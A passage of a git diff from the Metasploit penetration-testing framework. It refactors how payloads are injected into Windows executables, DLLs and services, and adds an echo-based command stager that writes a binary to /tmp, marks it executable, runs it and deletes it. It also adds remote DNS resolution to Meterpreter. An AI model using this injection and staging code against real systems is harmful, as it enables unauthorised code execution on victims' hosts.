!w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end + end # Accounts end # Windows end # Post diff --git a/lib/msf/core/post/windows/priv.rb b/lib/msf/core/post/windows/priv.rb index 465b58a14b..22381044f6 100644 --- a/lib/msf/core/post/windows/priv.rb +++ b/lib/msf/core/post/windows/priv.rb @@ -2,12 +2,7 @@ require 'msf/core/post/windows/accounts' -module Msf -class Post -module Windows - -module Priv - +module Msf::Post::Windows::Priv include ::Msf::Post::Windows::Accounts # @@ -90,7 +85,3 @@ module Priv end end -end -end -end - diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 348a797d5e..691b5598e6 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -2,22 +2,21 @@ require 'msf/core' require 'msf/core/module' -module Msf - # # A mixin used for providing Modules with post-exploitation options and helper methods # -module PostMixin +module Msf::PostMixin include Msf::Auxiliary::Report include Msf::Module::HasActions + include Msf::Post::Common def initialize(info={}) super register_options( [ - OptInt.new('SESSION', [ true, "The session to run this module on." ]) + Msf::OptInt.new('SESSION', [ true, "The session to run this module on." ]) ] , Msf::Post) # Default stance is active @@ -217,5 +216,3 @@ protected end end end - -end diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index b69bf8a75f..b8bdfae247 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -1112,8 +1112,8 @@ class Db else # Anything that wasn't an option is a host to search for unless (arg_host_range(arg, host_ranges)) - return - end + return + end end end @@ -1546,7 +1546,8 @@ class Db return end file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml") - if (::File.exists? ::File.expand_path(file)) + file = ::File.expand_path(file) + if (::File.exists? file) db = YAML.load(::File.read(file))['production'] framework.db.connect(db) @@ -1744,23 +1745,31 @@ class Db # Miscellaneous option helpers # + # Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+ # - # Parse +arg+ into a RangeWalker and append the result into +host_ranges+ - # - # Returns true if parsing was successful or nil otherwise. - # - # NOTE: This modifies +host_ranges+ + # @note This modifies +host_ranges+ in place # + # @param arg [String] The thing to turn into a RangeWalker + # @param host_ranges [Array] The array of ranges to append + # @param required [Boolean] Whether an empty +arg+ should be an error + # @return [Boolean] true if parsing was successful or false otherwise def arg_host_range(arg, host_ranges, required=false) if (!arg and required) print_error("Missing required host argument") - return + return false end begin - host_ranges << Rex::Socket::RangeWalker.new(arg) + rw = Rex::Socket::RangeWalker.new(arg) rescue print_error("Invalid host parameter, #{arg}.") - return + return false + end + + if rw.valid? + host_ranges << rw + else + print_error("Invalid host parameter, #{arg}.") + return false end return true end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 0f671b91a2..457806732a 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -16,6 +16,7 @@ require 'rex/pescan' require 'rex/zip' require 'metasm' require 'digest/sha1' +require 'msf/core/exe/segment_injector' ## # @@ -66,6 +67,7 @@ require 'digest/sha1' return template % hash_sub end + ## # # Executable generators @@ -185,80 +187,12 @@ require 'digest/sha1' #try to inject code into executable by adding a section without affecting executable behavior if(opts[:inject]) - if endjunk - raise RuntimeError, "Junk at end of file. Is this a packed exe?" - end - - #find first section file offset and free RVA for new section - free_rva = pe.hdr.opt.AddressOfEntryPoint - first_off = sections_end - pe.sections.each do |sec| - first_off = sec.file_offset if sec.file_offset < first_off - free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva - end - #align free_rva - free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment - - #See if we can add a section - first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader - new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER - if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off - raise RuntimeError, "Not enough room for new section header" - end - - # figure out where in the new section to put the start. Right now just putting at the beginning of the new section - start_rva = free_rva - - #make new section, starting at free RVA - new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva) - #pad to file alignment - new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment)) - - #make new section header - new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct - new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name - new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE - new_sechead.v['VirtualAddress'] = free_rva - new_sechead.v['SizeOfRawData'] = new_sec.length - new_sechead.v['PointerToRawData'] = sections_end - - # Create the modified version of the input executable - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } - - #New file header with updated number of sections and timedatestamp - new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct - new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE]) - new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1 - new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000) - exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s - - #new optional header with new entry point, size of image, and size of code - new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct - new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader]) - new_opthead.v['AddressOfEntryPoint'] = start_rva - new_opthead.v['SizeOfImage'] = free_rva + new_sec.length - new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s - #kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8 - #kill certificate; if it exists, we just invalidated it - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8 - - #new section header and new section - exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s - exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec - exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1) - - cks = pe.hdr.opt.CheckSum - if(cks != 0) - exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") - end - - pe.close - + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x86 + }) + exe = injector.generate_pe return exe end @@ -458,168 +392,100 @@ require 'digest/sha1' return pe end - def self.to_win32pe_exe_sub(framework, code, opts={}) - - # Allow the user to specify their own DLL template - set_template_default(opts, "template_x86_windows.exe") + def self.exe_sub_method(code,opts ={}) pe = '' File.open(opts[:template], "rb") { |fd| pe = fd.read(fd.stat.size) } - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + case opts[:exe_type] + when :service_exe + max_length = 8192 + name = opts[:servicename] - if (code.length <= 4096) + if name + bo = pe.index('SERVICENAME') + raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo + pe[bo, 11] = [name].pack('a11') + end + + if not opts[:sub_method] + pe[136, 4] = [rand(0x100000000)].pack('V') + end + when :dll + max_length = 2048 + when :exe_sub + max_length = 4096 + end + + bo = pe.index('PAYLOAD:') + raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + + if (code.length <= max_length) pe[bo, code.length] = [code].pack("a*") else - raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" + raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" + end + + if opts[:exe_type] == :dll + mt = pe.index('MUTEX!!!') + pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt end return pe end + def self.to_win32pe_exe_sub(framework, code, opts={}) + # Allow the user to specify their own DLL template + set_template_default(opts, "template_x86_windows.exe") + opts[:exe_type] = :exe_sub + exe_sub_method(code,opts) + end + def self.to_win64pe(framework, code, opts={}) - # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 4096) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" + #try to inject code into executable by adding a section without affecting executable behavior + if(opts[:inject]) + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x64 + }) + exe = injector.generate_pe + return exe end - - return pe + opts[:exe_type] = :exe_sub + exe_sub_method(code,opts) end def self.to_win32pe_service(framework, code, opts={}) - - name = opts[:servicename] - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") - - pe = '' - File.open(opts[:template], 'rb') { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 8192) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" - end - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') - end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - - return pe + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) end def self.to_win64pe_service(framework, code, opts={}) - - name = opts[:servicename] - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 8192) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" - end - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') - end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - - return pe + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) end def self.to_win32pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 2048) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" - end - - # optional mutex - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - - return pe + opts[:exe_type] = :dll + exe_sub_method(code,opts) end def self.to_win64pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 2048) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" - end - - # optional mutex - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - - return pe + opts[:exe_type] = :dll + exe_sub_method(code,opts) end def self.to_osx_arm_macho(framework, code, opts={}) diff --git a/lib/rbmysql.rb b/lib/rbmysql.rb index 68f2fbdf69..705a5ecd97 100644 --- a/lib/rbmysql.rb +++ b/lib/rbmysql.rb @@ -280,7 +280,7 @@ class RbMysql # In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'. # You should use place-holder in prepared-statement. def escape_string(str) - str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| + str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s| case s when "\0" then "\\0" when "\n" then "\\n" diff --git a/lib/rbmysql/compat.rb b/lib/rbmysql/compat.rb index 3df7441201..949fbb3524 100644 --- a/lib/rbmysql/compat.rb +++ b/lib/rbmysql/compat.rb @@ -32,7 +32,7 @@ class RbMysql alias get_client_info client_info def escape_string(str) - str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| + str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s| case s when "\0" then "\\0" when "\n" then "\\n" diff --git a/lib/rbreadline.rb b/lib/rbreadline.rb index a7006d25c3..26e77915fb 100644 --- a/lib/rbreadline.rb +++ b/lib/rbreadline.rb @@ -5272,7 +5272,7 @@ module RbReadline # Actually update the display, period. def rl_forced_update_display() if (@visible_line) - @visible_line.gsub!(/[^\x00]/,0.chr) + @visible_line.gsub!(/[^\x00]/n,0.chr) end rl_on_new_line() @forced_display=true if !@forced_display @@ -8520,7 +8520,7 @@ module RbReadline count -= 1 end - str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string + str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string case @encoding when 'E' diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 958bcb98ef..79609ea14f 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/bourne' +require 'rex/exploitation/cmdstager/echo' diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb new file mode 100644 index 0000000000..8b1c5122a3 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' +require 'shellwords' + +module Rex +module Exploitation + +class CmdStagerEcho < CmdStagerBase + + def initialize(exe) + super + + @var_elf = Rex::Text.rand_text_alpha(5) + end + + # + # Override to ensure opts[:temp] is a correct *nix path + # + def generate(opts = {}) + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, "/") + opts[:temp] = opts[:temp].shellescape + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + super + end + + # + # Override to set the extra byte count + # + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo -en " + @cmd_end = ">>#{@tempdir}#{@var_elf}" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # + # Encode into a "\\x55\\xAA" hex format that echo understands, where + # interpretation of backslash escapes are enabled + # + def encode_payload(opts) + return Rex::Text.to_hex(@exe, "\\\\x") + end + + + # + # Combine the parts of the encoded file with the stuff that goes + # before ("echo -en ") / after (">>file") it. + # + def parts_to_commands(parts, opts) + parts.map do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmd + end + end + + # + # Since the binary has been already dropped to fs, just execute and + # delete it + # + def generate_cmds_decoder(opts) + cmds = [] + # Make it all happen + cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}" + + # Clean up after unless requested not to.. + unless opts[:nodelete] + cmds << "rm -f #{@tempdir}#{@var_elf}" + end + + return cmds + end + + # + # Override it to ensure that the hex representation of a byte isn't cut + # + def slice_up_payload(encoded, opts) + encoded_dup = encoded.dup + + parts = [] + xtra_len = opts[:extra] + xtra_len ||= 0 + while (encoded_dup.length > 0) + temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) + # cut the end of the part until we reach the start + # of a full byte representation "\\xYZ" + while (temp.length > 0 && temp[-5, 3] != "\\\\x") + temp.chop! + end + parts << temp + encoded_dup.slice!(0, temp.length) + end + + parts + end + + def cmd_concat_operator + " ; " + end + +end +end +end diff --git a/lib/rex/parser/burp_session_nokogiri.rb b/lib/rex/parser/burp_session_nokogiri.rb index 1ddd79c5aa..2822fa28bf 100644 --- a/lib/rex/parser/burp_session_nokogiri.rb +++ b/lib/rex/parser/burp_session_nokogiri.rb @@ -116,7 +116,7 @@ module Rex if query @state[:query] = "?#{query}" # Can be nil end - if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/ + if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n real_path = "/#{$1}" else real_path = path diff --git a/lib/rex/parser/foundstone_nokogiri.rb b/lib/rex/parser/foundstone_nokogiri.rb index 7d4ddab17a..1e1d746766 100644 --- a/lib/rex/parser/foundstone_nokogiri.rb +++ b/lib/rex/parser/foundstone_nokogiri.rb @@ -55,6 +55,7 @@ module Rex end # Reset the state once we close a host @state.delete_if {|k| k != :current_tag} + @report_data = {:wspace => args[:wspace]} when "Port" @state[:has_text] = false collect_port diff --git a/lib/rex/parser/mbsa_nokogiri.rb b/lib/rex/parser/mbsa_nokogiri.rb index d8d9c6b122..c66ec056eb 100644 --- a/lib/rex/parser/mbsa_nokogiri.rb +++ b/lib/rex/parser/mbsa_nokogiri.rb @@ -176,7 +176,7 @@ module Rex :os_family => os_family, :os_version => os_version, :os_accuracy => 100, - :os_match => os_info.gsub(/\x2e$/,"") + :os_match => os_info.gsub(/\x2e$/n,"") } end end diff --git a/lib/rex/peparsey/pebase.rb b/lib/rex/peparsey/pebase.rb index 76a480994f..b97c3789eb 100644 --- a/lib/rex/peparsey/pebase.rb +++ b/lib/rex/peparsey/pebase.rb @@ -1627,8 +1627,8 @@ class PeBase if (rname & 0x80000000 != 0) rname &= ~0x80000000 unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ] - unistr, trash = unistr.split(/\x00\x00/, 2) - return unistr ? unistr.gsub(/\x00/, '') : nil + unistr, trash = unistr.split(/\x00\x00/n, 2) + return unistr ? unistr.gsub(/\x00/n, '') : nil end rname.to_s diff --git a/lib/rex/peparsey/section.rb b/lib/rex/peparsey/section.rb index 1be7468bae..983c6bb72a 100644 --- a/lib/rex/peparsey/section.rb +++ b/lib/rex/peparsey/section.rb @@ -38,7 +38,7 @@ class Section return nil if !_section_header # FIXME make this better... - _section_header.v['Name'].gsub(/\x00+$/, '') + _section_header.v['Name'].gsub(/\x00+$/n, '') end def flags diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 67fc0fdf81..130fe41c9a 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -4,6 +4,9 @@ require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/client' + +# Used to generate a reflective DLL when migrating. This is yet another +# argument for moving the meterpreter client into the Msf namespace. require 'msf/core/payload/windows' module Rex @@ -147,7 +150,7 @@ class ClientCore < Extension end # Get us to the installation root and then into data/meterpreter, where # the file is expected to be - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") + path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") if (opts['ExtensionPath']) path = opts['ExtensionPath'] @@ -209,7 +212,7 @@ class ClientCore < Extension # Include the appropriate reflective dll injection module for the target process architecture... if( process['arch'] == ARCH_X86 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) - binary_suffix = "dll" + binary_suffix = "x86.dll" elsif( process['arch'] == ARCH_X86_64 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) binary_suffix = "x64.dll" @@ -219,7 +222,7 @@ class ClientCore < Extension # Create the migrate stager migrate_stager = c.new() - migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" ) + migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" ) blob = migrate_stager.stage_payload @@ -297,7 +300,7 @@ class ClientCore < Extension client.binary_suffix = 'x64.dll' else client.platform = 'x86/win32' - client.binary_suffix = 'dll' + client.binary_suffix = 'x86.dll' end # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) diff --git a/lib/rex/post/meterpreter/extensions/priv/priv.rb b/lib/rex/post/meterpreter/extensions/priv/priv.rb index f89e676f77..e6bb5dc472 100644 --- a/lib/rex/post/meterpreter/extensions/priv/priv.rb +++ b/lib/rex/post/meterpreter/extensions/priv/priv.rb @@ -46,11 +46,7 @@ class Priv < Extension elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) - if( client.platform == 'x64/win64' ) - elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" ) - else - elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" ) - end + elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" ) elevator_path = ::File.expand_path( elevator_path ) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/constants.rb index e6dfac2b71..6b8713d539 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/constants.rb @@ -11,6 +11,14 @@ # ### +## +# +# Net +# +## +AF_INET = 2 +AF_INET6 = 23 + ## # # Permissions diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb new file mode 100644 index 0000000000..832c607b0c --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/resolve.rb @@ -0,0 +1,107 @@ +#!/usr/bin/env ruby +# -*- coding: binary -*- + +require 'rex/post/meterpreter/extensions/stdapi/tlv' + +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Net + +### +# +# This class provides DNS resolution from the perspective +# of the remote host. +# +### +class Resolve + + ## + # + # Constructor + # + ## + + # + # Initializes a Resolve instance that is used to resolve network addresses + # on the remote machine. + # + def initialize(client) + self.client = client + end + + def resolve_host(hostname, family=AF_INET) + request = Packet.create_request('stdapi_net_resolve_host') + request.add_tlv(TLV_TYPE_HOST_NAME, hostname) + request.add_tlv(TLV_TYPE_ADDR_TYPE, family) + + response = client.send_request(request) + + type = response.get_tlv_value(TLV_TYPE_ADDR_TYPE) + raw = response.get_tlv_value(TLV_TYPE_IP) + + return raw_to_host_ip_pair(hostname, raw, type) + end + + def resolve_hosts(hostnames, family=AF_INET) + request = Packet.create_request('stdapi_net_resolve_hosts') + request.add_tlv(TLV_TYPE_ADDR_TYPE, family) + + hostnames.each do |hostname| + request.add_tlv(TLV_TYPE_HOST_NAME, hostname) + end + + response = client.send_request(request) + + hosts = [] + raws = [] + types = [] + + response.each(TLV_TYPE_IP) do |raw| + raws << raw + end + + response.each(TLV_TYPE_ADDR_TYPE) do |type| + types << type + end + + 0.upto(hostnames.length - 1) do |i| + raw = raws[i] + type = types[i] + host = hostnames[i] + + hosts << raw_to_host_ip_pair(host, raw.value, type.value) + end + + return hosts + end + + def raw_to_host_ip_pair(host, raw, type) + if raw.nil? or host.nil? + return nil + end + + if raw.empty? + ip = "" + else + if type == AF_INET + ip = Rex::Socket.addr_ntoa(raw[0..3]) + else + ip = Rex::Socket.addr_ntoa(raw[0..16]) + end + end + + result = { :hostname => host, :ip => ip } + + return result + end + +protected + + attr_accessor :client # :nodoc: + +end + +end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb index ef1f9b5d5a..80574448a7 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb @@ -8,6 +8,7 @@ require 'rex/post/meterpreter/extensions/stdapi/tlv' require 'rex/post/meterpreter/extensions/stdapi/fs/dir' require 'rex/post/meterpreter/extensions/stdapi/fs/file' require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat' +require 'rex/post/meterpreter/extensions/stdapi/net/resolve' require 'rex/post/meterpreter/extensions/stdapi/net/config' require 'rex/post/meterpreter/extensions/stdapi/net/socket' require 'rex/post/meterpreter/extensions/stdapi/sys/config' @@ -69,7 +70,8 @@ class Stdapi < Extension 'ext' => ObjectAliases.new( { 'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client), - 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) + 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client), + 'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client) }) }, { diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb index 1807196ea7..a787e218d3 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb @@ -249,7 +249,7 @@ class Registry response = client.send_request(request) cls = response.get_tlv(TLV_TYPE_VALUE_DATA) return nil if not cls - data = cls.value.gsub(/\x00.*/, '') + data = cls.value.gsub(/\x00.*/n, '') return data end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb index 7092fb77f9..ee61e84c7e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb @@ -66,6 +66,9 @@ TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 +# Resolve +TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 + # Socket TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 diff --git a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb index 537ec99e63..b538251b6d 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/ui.rb @@ -157,7 +157,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality ) # include the x64 screenshot dll if the host OS is x64 if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ ) - screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' ) + screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' ) screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| @@ -167,7 +167,7 @@ class UI < Rex::Post::UI request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length ) end # but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64 - screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' ) + screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' ) screenshot_path = ::File.expand_path( screenshot_path ) screenshot_dll = '' ::File.open( screenshot_path, 'rb' ) do |f| diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 7e36a017e2..1cf58f4007 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -377,7 +377,7 @@ class Console::CommandDispatcher::Core case opt when "-l" exts = [] - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter') + path = ::File.join(Msf::Config.data_directory, 'meterpreter') ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) exts.push($1) @@ -422,7 +422,7 @@ class Console::CommandDispatcher::Core def cmd_load_tabs(str, words) tabs = [] - path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter') + path = ::File.join(Msf::Config.data_directory, 'meterpreter') ::Dir.entries(path).each { |f| if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ ) if (not 